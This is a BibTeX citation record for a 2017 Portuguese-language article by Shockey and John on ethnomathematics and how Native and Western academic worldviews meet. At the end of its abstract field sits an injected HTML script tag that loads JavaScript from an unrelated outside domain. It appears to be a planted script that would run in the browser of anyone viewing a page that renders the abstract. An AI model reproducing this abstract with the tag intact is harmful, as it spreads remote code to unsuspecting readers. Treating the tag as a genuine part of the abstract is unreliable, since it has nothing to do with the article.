@article{Shockey_John_2017, place={Campinas, SP}, title={Confluência Etnomatemática Intersecção de Visões de Mundo Nativa e Acadêmica}, volume={19}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/8648370}, DOI={10.20396/etd.v19i3.8648370}, abstractNote={<p>Adotamos o conceito de confluência como uma metáfora para considerarmos o nosso compromisso etnomatemático nos últimos catorze anos. Durante esse tempo, trabalhamos com alunos e professores e percebemos que a diversidade de significados trouxe muitas influências para o nosso compromisso matemático coletivo. O princípio da visão de dois olhos (MARSHALL, 2004) permite aos autores um enquadramento diferente por meio do qual consideram a importância da visão de mundo nativa e da visão acadêmica ocidental. A confluência da visão de mundo nativa com a visão acadêmica ocidental é o que orienta a nossa história. Do ponto de vista nativo trazemos a riqueza da história e das tradições orais. O lado ocidental da nossa história traz o encaminhamento de uma variedade de conhecimentos acadêmicos, como, por exemplo, a educação matemática, a lingüística e a antropologia. Um tema abrangente que vamos apresentar é o afeto. Afeto para os nossos alunos, bem como para nós pesquisadores.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={3}, journal={ETD - Educação Temática Digital}, author={Shockey, Tod and John, Mitchell Bear}, year={2017}, month={jul.}, pages={712–735} }